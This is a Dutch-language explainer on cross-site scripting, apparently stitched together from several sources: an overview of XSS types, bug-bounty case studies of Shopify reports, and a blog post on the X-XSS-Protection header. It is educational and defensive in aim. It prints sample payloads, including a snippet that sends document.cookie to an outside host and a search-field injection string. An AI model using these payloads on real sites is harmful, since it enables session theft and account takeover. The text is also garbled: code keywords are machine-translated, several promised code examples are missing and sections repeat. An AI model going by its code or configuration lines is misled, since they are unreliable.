Cross-site scripting. XSS-kwetsbaarheid - wat is het? Voorbeelden van XSS-kwetsbaarheden

Cross-site scripting (kortweg XSS) is een wijdverbreide kwetsbaarheid die veel webapplicaties treft. Hiermee kan een aanvaller kwaadaardige code in een website injecteren, zodat de browser van een gebruiker die de site bezoekt, de code uitvoert.

Normaal gesproken vereist het misbruiken van een dergelijke kwetsbaarheid enige interactie met de gebruiker: ofwel worden ze naar een geïnfecteerde site gelokt met behulp van social engineering, ofwel wachten ze gewoon tot de gebruiker de site bezoekt. Daarom nemen ontwikkelaars XSS-kwetsbaarheden vaak niet serieus.

Maar als ze niet worden aangepakt, kunnen ze een ernstig veiligheidsrisico vormen.

Laten we ons voorstellen dat we ons in het WordPress-beheerderspaneel bevinden en nieuwe inhoud toevoegen. Als we hiervoor een XSS-kwetsbare plug-in gebruiken, kan deze de browser dwingen een nieuwe beheerder aan te maken, de inhoud te wijzigen en andere kwaadaardige acties uit te voeren. Cross-site scripting geeft een aanvaller tegenwoordig bijna volledige controle over het belangrijkste stuk software: de browser.

Elke website of applicatie heeft verschillende plaatsen voor gegevensinvoer: formuliervelden tot aan de URL zelf. Het eenvoudigste voorbeeld van gegevensinvoer is wanneer we een gebruikersnaam en wachtwoord in een formulier invoeren:

Onze naam wordt opgeslagen in de database van de site voor latere interacties met ons. Zeker, toen je inlogde op een website, zag je een persoonlijke begroeting in de stijl van 'Welkom, Ilya'.

Voor dergelijke doeleinden worden gebruikersnamen in de database opgeslagen.

Een injectie is een procedure waarbij in plaats van een naam of wachtwoord een speciale reeks tekens wordt ingevoerd, waardoor de server of browser wordt gedwongen op een door de aanvaller gewenste manier te reageren.

Cross-site scripting is een injectie waarbij code wordt geïnjecteerd die namens de website acties in de browser uitvoert. Dit kan gebeuren met een melding aan de gebruiker of op de achtergrond, zonder zijn medeweten.

Een gereflecteerde XSS-aanval wordt geactiveerd wanneer een gebruiker op een speciaal vervaardigde link klikt.

Deze kwetsbaarheden doen zich voor wanneer gegevens die door een webclient worden verstrekt, meestal in HTTP-verzoekparameters of in HTML-vorm, rechtstreeks worden uitgevoerd door scripts op de server om een ​​resultatenpagina voor die client te parseren en weer te geven, zonder de juiste verwerking.

Opgeslagen XSS is mogelijk wanneer een aanvaller erin slaagt kwaadaardige code in de server te injecteren die in de browser wordt uitgevoerd telkens wanneer de originele pagina wordt geopend. Een klassiek voorbeeld van deze kwetsbaarheid zijn forums die HTML-opmerkingen toestaan.

Hetzelfde als in het geval van de serverzijde, alleen in dit geval is de aanval mogelijk vanwege het feit dat de code door de browser wordt verwerkt.

Net als bij op de server opgeslagen XSS, wordt alleen in dit geval de kwaadaardige component op de client opgeslagen met behulp van browseropslag.

Interessant genoeg worden we in de meeste gevallen waarin deze kwetsbaarheid wordt beschreven bang gemaakt met de volgende code:

Http://www.site.com/page.php?var=alert("xss");

Er zijn twee soorten XSS-kwetsbaarheden: passief en actief.

Actieve kwetsbaarheid is gevaarlijker, omdat de aanvaller het slachtoffer niet hoeft te lokken met een speciale link; hij hoeft alleen maar de code in de database of een ander bestand op de server te injecteren; Zo worden alle bezoekers van de site automatisch het slachtoffer. Het kan bijvoorbeeld worden geïntegreerd met behulp van SQL-injectie. Daarom mag u de gegevens die in de database zijn opgeslagen niet vertrouwen, ook al zijn deze tijdens het invoegen verwerkt.

Voorbeeld passieve kwetsbaarheid Je kunt het helemaal aan het begin van het artikel zien. Hiervoor is al social engineering vereist, bijvoorbeeld een belangrijke brief van de sitebeheerder waarin u wordt gevraagd uw accountinstellingen te controleren na het herstellen vanaf een back-up. Dienovereenkomstig moet u het adres van het slachtoffer weten of eenvoudigweg een spammailing regelen of op een forum posten, en het is geen feit dat de slachtoffers naïef zullen zijn en uw link zullen volgen.

Bovendien kunnen zowel POST- als GET-parameters gevoelig zijn voor passieve kwetsbaarheid. Met POST-parameters zul je natuurlijk je toevlucht moeten nemen tot trucs. Bijvoorbeeld een omleiding vanaf de website van een aanvaller.

document.getElementsByTagName("formulier").submit();

Daarom is de GET-kwetsbaarheid iets gevaarlijker, omdat... Het is gemakkelijker voor een slachtoffer om een ​​onjuist domein op te merken dan een extra parameter (hoewel de URL doorgaans kan worden gecodeerd).

Dit is het meest genoemde voorbeeld van een XSS-aanval. Websites slaan soms waardevolle informatie op in cookies (soms zelfs de gebruikersnaam en het wachtwoord van de gebruiker (of de hash ervan)), maar het gevaarlijkste is de diefstal van een actieve sessie. Vergeet dus niet op de link 'Afsluiten' op websites te klikken. , zelfs als het een thuiscomputer is. Gelukkig is de levensduur van de sessie op de meeste bronnen beperkt.

Var img = nieuwe afbeelding(); img.srс = "http://site/xss.php?" + document.cookie;

Daarom hebben ze domeinbeperkingen ingevoerd op XMLHttpRequest, maar dit is geen probleem voor een aanvaller, aangezien er: , , achtergrond:url(); enzovoort.

We zoeken het formulier bijvoorbeeld via getElementById en monitoren de onsubmit-gebeurtenis. Voordat het formulier wordt verzonden, worden de ingevoerde gegevens nu ook naar de server van de aanvaller verzonden.

Dit type aanval doet enigszins denken aan phishing, alleen wordt er gebruik gemaakt van een echte site in plaats van een nepsite, wat meer vertrouwen wekt bij het slachtoffer.

Een XSS-kwetsbaarheid op druk bezochte bronnen kan worden gebruikt om een ​​DDoS-aanval te lanceren. De essentie is simpel: er zijn veel verzoeken die de aangevallen server niet kan weerstaan.
Eigenlijk is de relatie met XSS indirect, aangezien er helemaal geen scripts mogen worden gebruikt, is een constructie als deze voldoende:

Hoe kunt u uw site beschermen tegen XSS? Hoe controleer je je code op kwetsbaarheden? Er zijn technologieën zoals Sucuri Firewall die specifiek zijn ontworpen om dergelijke aanvallen te voorkomen. Maar als u een ontwikkelaar bent, wilt u zeker meer weten over hoe u XSS-kwetsbaarheden kunt identificeren en beperken.

We zullen hierover praten in het volgende deel van het artikel over XSS.

Met behulp van XSS integreren ervaren aanvallers de daarop draaiende scripts in de pagina's van slachtoffersites, die worden uitgevoerd bij het bezoeken van geïnfecteerde bronnen. Er zijn verschillende soorten XSS-kwetsbaarheden die in verschillende mate van ernst voorkomen.

U moet uiterst voorzichtig zijn als u met actieve kwetsbaarheden omgaat. Wanneer een aanvaller zijn SQL-code in een toegankelijke database of bestand op een server injecteert, kan elke bezoeker van de geïnfecteerde bron slachtoffer worden. Dergelijke plaatsen zijn vaak geïntegreerd, dus zelfs gegevens die zijn opgeslagen in de database die door uw bescherming wordt verwerkt, kunnen nog steeds enig gevaar opleveren.

Het creëren van een passieve XSS-kwetsbaarheid vergt enige creativiteit van de aanvaller. Ofwel lokken ze u naar een nepbron met allerlei links, ofwel proberen ze u op welke manier dan ook naar de gewenste site om te leiden. Meestal gebeurt dit via brieven van de fictieve administratie van de pagina die u bezoekt, waarin u wordt gevraagd uw accountinstellingen te controleren. Ook wordt er actief gebruik gemaakt van diverse spammailings of berichten op drukbezochte forums.

Passieve XSS-kwetsbaarheden kunnen afkomstig zijn van zowel POST- als GET-parameters. De eerste worden gekenmerkt door een aantal verschillende trucs, terwijl de laatste worden gekenmerkt door het coderen van de URL-reeks of het invoegen van extra waarden.

Meestal zijn het uw cookies die het doelwit worden van een XSS-aanval. Soms bevatten ze waardevolle informatie, waaronder gebruikersaanmeldingen en wachtwoorden of hun hash. Maar het stelen van actieve sessies van sites die belangrijk voor u zijn, is ook behoorlijk gevaarlijk, dus vergeet niet op de knop ‘Afsluiten’ te klikken, zelfs als u sites vanaf uw thuiscomputer bezoekt. Hoewel de meeste bronnen automatische sessieduurlimieten gebruiken om dergelijke acties te voorkomen. XMLHttpRequest-domeinbeperkingen bieden geen bescherming tegen dergelijke aanvallen.

Het lezen van informatie in invulbare formulieren is ook populair. Om dit te doen, wordt gebeurtenistracking (onsubmit) uitgevoerd op interessante pagina's en worden alle verstrekte gegevens ook naar de servers van de aanvallers verzonden. Dergelijke aanvallen lijken in veel opzichten op phishing-aanvallen, maar de diefstal vindt niet plaats op een nep-site, maar op een echte site met een goede reputatie.

Multi-bezochte bronnen worden ook gebruikt voor XSS-aanvallen. Dankzij de XSS-kwetsbaarheid worden verzoeken die bij hen binnenkomen, doorgestuurd naar de gehackte server, waardoor de bescherming mislukt.

Ze hebben ook weinig gemeen met XSS. Dit is een apart type kwetsbaarheid dat wordt gebruikt in combinatie met XSS. Hun doel is om een ​​geautoriseerde gebruiker van een onkwetsbare site naar een nep-kwetsbare pagina te lokken om frauduleuze transacties uit te voeren. Zo wordt een klant die gebruik maakt van een elektronisch betalingssysteem naar een kwetsbare site gelokt waar geld naar de rekeningen van aanvallers wordt overgemaakt. Daarom bieden de meeste betalingssystemen bescherming door bovendien een wachtwoord of code in te voeren die de handeling bevestigt.

Zo'n XSS-aanval op een website verscheen met de ontwikkeling van bekende sociale netwerken (VKontakte, Twitter en anderen). Via hen ontvangen hele groepen gebruikers kwetsbare XSS-links met geïntegreerde scripts die namens hen spam over netwerken verzenden. Het wordt ook op grote schaal toegepast om tegelijkertijd persoonlijke informatie en foto's naar de bronnen van aanvallers te kopiëren.

Merk op dat veel soorten tellers ook als actieve XSS fungeren. Ze verzenden gegevens over geregistreerde bezoekers (hun IP-adressen, gegevens over de gebruikte apparatuur).

Alleen deze code wordt naar eigen wens in uw computer geïntegreerd. Andere vergelijkbare XSS kunnen eenvoudig een aantal AJAX-verzoeken over meerdere domeinen bevatten.

Bij cross-site scripting, of Cross site scripting, of XSS, is sprake van een site die onbedoelde Javascript-code bevat, die op zijn beurt wordt verzonden naar gebruikers die de code in hun browser uitvoeren. Een onschuldig voorbeeld van XSS (en dat is precies wat je zou moeten gebruiken!) ziet er als volgt uit:

alert('XSS');

Hierdoor wordt de Javascript-waarschuwingsfunctie aangeroepen en wordt een eenvoudig (en onschadelijk) vakje met de letters XSS gemaakt. In eerdere versies van het boek heb ik aanbevolen dit voorbeeld te gebruiken bij het schrijven van rapporten. Dat wil zeggen, totdat een uiterst succesvolle hacker me vertelde dat het een ‘vreselijk voorbeeld’ was, waarbij hij uitlegde dat de ontvanger van een kwetsbaarheidsrapport zich mogelijk niet bewust was van de ernst van het probleem en, omdat het voorbeeld onschadelijk was, een kleine beloning zou uitbetalen.

Gebruik dit voorbeeld dus om een ​​XSS-kwetsbaarheid te detecteren, maar denk bij het schrijven van het rapport na over de potentiële schade die de kwetsbaarheid zou kunnen veroorzaken en leg deze uit. Hiermee bedoel ik niet dat ik het bedrijf vertel wat XSS is, maar eerder dat ik uitleg wat je kunt bereiken door misbruik te maken van de kwetsbaarheid en hoe dit specifiek hun site kan beïnvloeden.

Er zijn drie verschillende soorten XSS waarover u mogelijk hoort tijdens het onderzoeken en rapporteren:

• Reflecterende XSS: Deze aanvallen worden niet op de site opgeslagen, wat betekent dat de XSS in één verzoek en antwoord wordt gegenereerd en uitgevoerd.
• Opgeslagen XSS: Deze aanvallen worden op de site opgeslagen en zijn vaak gevaarlijker. Ze worden op de server opgeslagen en door nietsvermoedende gebruikers op “normale” pagina’s uitgevoerd.
• Self XSS: Deze aanvallen worden ook niet op de site opgeslagen en worden meestal gebruikt om iemand te misleiden om zelf XSS te gebruiken. Wanneer u op zoek gaat naar kwetsbaarheden, zult u merken dat bedrijven er vaak niet om geven om Self XSS te elimineren, maar zij alleen geven om gevallen waarin schade aan hun gebruikers van iemand anders dan zijzelf kan komen, zoals het geval is met Reflective en Stored XSS. Dit betekent echter niet dat u niet op zoek moet gaan naar Self XSS.

Als u een situatie tegenkomt waarin Self XSS kan worden uitgevoerd maar niet kan worden opgeslagen, bedenk dan hoe deze kwetsbaarheid kan worden uitgebuit. Kunt u deze in combinatie met iets gebruiken zodat het niet langer Self XSS is?

Een van de bekendste voorbeelden van het gebruik van XSS is MySpace Samy Work, gedaan door Samy Kamkar. In oktober 2005 maakte Sami misbruik van een opgeslagen XSS-kwetsbaarheid in MySpace, waardoor hij Javascript-code kon uploaden die elke keer werd uitgevoerd wanneer iemand zijn MySpace-pagina bezocht, waardoor de paginabezoeker werd toegevoegd als vriend van Sami's profiel. Bovendien kopieerde de code zichzelf ook naar de pagina's van Samy's nieuwe vrienden, zodat de profielen van zijn nieuwe vrienden werden bijgewerkt met de volgende tekst: "maar vooral, samy is mijn held."

Hoewel het voorbeeld van Sami relatief onschuldig was, kun je met XSS logins, wachtwoorden, bankgegevens, enzovoort stelen. Ondanks de potentiële schade is het oplossen van XSS-kwetsbaarheden over het algemeen niet moeilijk en vereisen ontwikkelaars dat ze eenvoudigweg aan gebruikersinvoer ontsnappen (net als HTML-injectie) bij het weergeven ervan. Sommige sites verwijderen echter ook potentieel kwaadaardige karakters wanneer de hacker ze verzendt.

Moeilijkheidsgraad: laag
URL: groothandel.shopify.com
Rapportlink: https://hackerone.com/reports/10629326 Rapportdatum: 21 december 2015
Betaalde beloning: $ 500
Beschrijving:

De Shopify27-verkoopsite is een eenvoudige pagina met een directe call-to-action: voer de naam van het product in en klik op 'Producten zoeken'. Hier is een schermafbeelding:

De XSS-kwetsbaarheid hier was de eenvoudigste die je kunt vinden: de tekst die in de zoekbalk werd ingevoerd, was niet geëscaped, dus elk ingevoerd Javascript werd uitgevoerd. Hier is de verzonden tekst uit de beschrijving van de kwetsbaarheid: test’;alert(‘XSS’);’

De reden dat dit werkte, is omdat Shopify gebruikersinvoer opnam, de zoekopdracht uitvoerde en als er geen resultaten waren, een bericht afdrukte dat er geen zoekresultaten waren voor de ingevoerde zoekterm, waarbij de niet-geëscapede gebruikersinvoer op de pagina werd weergegeven. Als gevolg hiervan werd het ingediende Javascript op de pagina weergegeven en interpreteerden browsers het als uitvoerbaar Javascript.

Test alles en besteed speciale aandacht aan situaties waarin de ingevoerde tekst op de pagina wordt weergegeven. Test of u HTML of Javascript in uw invoer kunt opnemen en kijk hoe de site dit verwerkt. Probeer ook de invoer te coderen op dezelfde manier als beschreven in het hoofdstuk over HTML-injecties.

XSS-kwetsbaarheden hoeven niet complex of verwarrend te zijn. Deze kwetsbaarheid was de eenvoudigst denkbare kwetsbaarheid: een eenvoudig tekstinvoerveld dat geen gebruikersinvoer verwerkt. En het werd ontdekt op 21 december 2015 en leverde de hacker $500 op! Het enige dat nodig was, was het denken van een hacker.

Moeilijkheidsgraad: laag
URL: hardware.shopify.com/cart
Rapportlink: https://hackerone.com/reports/9508928 Rapportdatum: 21 oktober 2015
Betaalde beloning: $ 500
Beschrijving:

Op de Shopify29-cadeaubonwinkelwebsite kunnen gebruikers hun eigen cadeaubonontwerpen maken met behulp van een HTML-formulier met een vak voor het uploaden van bestanden, een paar regels voor tekstinvoer voor details, enzovoort. Hier is een schermafbeelding:

De XSS-kwetsbaarheid werd hier geactiveerd toen Javascript werd ingevoerd in het formulierveld dat bedoeld was voor de titel van de afbeelding. Dit is vrij eenvoudig te doen met behulp van HTML-proxy's, waarover we later in het hoofdstuk "Extra" zullen praten. De originele formulierinzending omvatte dus:

Er zijn hier twee zaken die u kunnen helpen bij het opsporen van XSS-kwetsbaarheden:

Elke keer dat u live validatie in uw browser ziet draaien, zou dit een waarschuwingssignaal moeten zijn om dat veld te testen! Ontwikkelaars kunnen fouten maken door ingediende waarden niet te valideren op kwaadaardige code op de server, omdat ze hopen dat de Javascript-validatie van de browser de controle al heeft uitgevoerd.

Het gebruik van beveiligingsheaders is een belangrijk onderdeel bij het beschermen van een website en zijn bezoekers tegen aanvallen van hackers. In het laatste artikel over de sectie over bescherming en beveiliging heb ik beloofd regelmatig berichten over dit onderwerp te publiceren. Vandaag zal ik het hebben over bescherming tegen XSS-aanvallen.

Cross Site Scripting is een kwetsbaarheid waarmee een aanvaller kwaadaardige code (meestal HTML of JavaScript) in de inhoud van een website kan injecteren. Schadelijke code wordt uitgevoerd in de browser van de gebruiker die de geïnfecteerde websitepagina bekijkt.

Aanvallers kunnen verschillende kwetsbaarheden misbruiken. De meest voorkomende soorten aanvallen zijn:

• Gereflecteerde XSS is het meest voorkomende niet-persistente type aanval, waarvoor een specifieke actie van de gebruiker vereist is.
• Persistent XSS is een permanent type aanval waarbij kwaadaardige code in de server wordt geïnjecteerd en waarvoor geen tussenkomst van de gebruiker vereist is.

Wordt geactiveerd wanneer een gebruiker een speciaal voorbereide link volgt die een verzoek verzendt naar een site met een kwetsbaarheid. Deze kwetsbaarheid is doorgaans het gevolg van onvoldoende filtering van inkomende verzoeken, waardoor functies kunnen worden gemanipuleerd en kwaadaardige scripts kunnen worden geactiveerd.

Om een ​​opgeslagen aanval met succes uit te voeren, hoeft een aanvaller alleen maar een kwetsbaarheid op de site te vinden en een kwaadaardig script op zijn server te plaatsen. De site plaatst vervolgens een tag die het script van een externe site laadt, bijvoorbeeld in reacties. Wanneer een geïnfecteerde pagina wordt geladen, wordt er elke keer een kwaadaardig script naar de browser van de gebruiker verzonden.

De X-XSS-Protection-header is bedoeld om het cross-site scriptingfilter in te schakelen dat in alle moderne browsers is ingebouwd. Hiermee kunt u bijvoorbeeld de uitvoering van een tag in de pagina-URL voorkomen.

De rapportrichtlijn voor het verzenden van rapporten werkt op dezelfde manier als de report-uri (of report-to) Content Security Policy (CSP)-richtlijn, waarbij de browser van de gebruiker wordt geïnstrueerd om pogingen om het inhoudbeveiligingsbeleid te schenden te melden. Ik zal hierover in een apart artikel praten.

Het overtredingsrapport wordt gegenereerd in JSON-formaat en via POST-verzoeken naar de opgegeven URL verzonden.

Terugkerend naar het hoofdonderwerp raad ik aan om de server zo in te stellen dat de HTTP-header filtering bevat en, in het geval van een XSS-aanval, het laden van een pagina met onveilige inhoud blokkeert. In het extra configuratiebestand.htaccess (of httpd.conf als je volledige toegang hebt tot de server) van de Apache-webserver, moet je de volgende vermelding toevoegen:

Voeg voor de Nginx-server de volgende vermelding toe aan het bestand nginx.conf in de HTTP-sectie:

Add_header X-XSS-Protection "1; mode=blok" ;

In het geval dat er geen toegang is tot de serverconfiguratiebestanden, maar er wel PHP-ondersteuning is, gebruik dan de functie:

Cross Site Scripting, ook bekend als XSS, is een methode voor het injecteren van kwaadaardige code die aan de clientzijde wordt uitgevoerd. Het kan zijn dat de gebruiker iets verkeerds opmerkt, bijvoorbeeld ongebruikelijk gedrag van de pagina, soms vindt de aanval geheel onmerkbaar op de achtergrond plaats.

Hopelijk begrijp je nu iets meer over HTTP-serverheaders en kan X-XSS cross-site scripting helpen voorkomen. Ik gebruik beveiligingsheaders op al mijn sites en moedig u ten zeerste aan hetzelfde te doen. Samen kunnen we het internet veiliger maken! 😉